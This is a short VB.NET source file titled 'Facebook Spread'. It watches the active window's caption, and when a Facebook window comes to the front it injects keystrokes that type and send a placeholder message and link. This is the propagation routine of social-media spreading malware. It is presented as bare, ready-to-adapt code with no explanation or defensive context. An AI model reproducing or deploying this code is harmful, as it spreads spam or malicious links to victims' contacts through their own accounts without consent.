Facebook Spread Vb.net

Public Class Form1
    Private Declare Function GetForegroundWindow Lib "user32" Alias "GetForegroundWindow" () As IntPtr
    Private Declare Auto Function GetWindowText Lib "user32" (ByVal hWnd As System.IntPtr, ByVal lpString As System.Text.StringBuilder, ByVal cch As Integer) As Integer
    Private makel As String
    Private Function GetCaption() As String
        Dim Caption As New System.Text.StringBuilder(256)
        Dim hWnd As IntPtr = GetForegroundWindow()
        GetWindowText(hWnd, Caption, Caption.Capacity)
        Return Caption.ToString()
    End Function
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

    End Sub

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        Dim CapTxt As String = GetCaption()
        If makel <> CapTxt Then
            makel = CapTxt


            If CapTxt.Contains("Facebook") = True Then
                My.Computer.Keyboard.SendKeys("Message " + vbLf + "Link", True)
                My.Computer.Keyboard.SendKeys("{ENTER}", True)
            End If


        End If



    End Sub

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Timer1.Enabled = True
    End Sub

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        Timer1.Enabled = False
    End Sub
End Class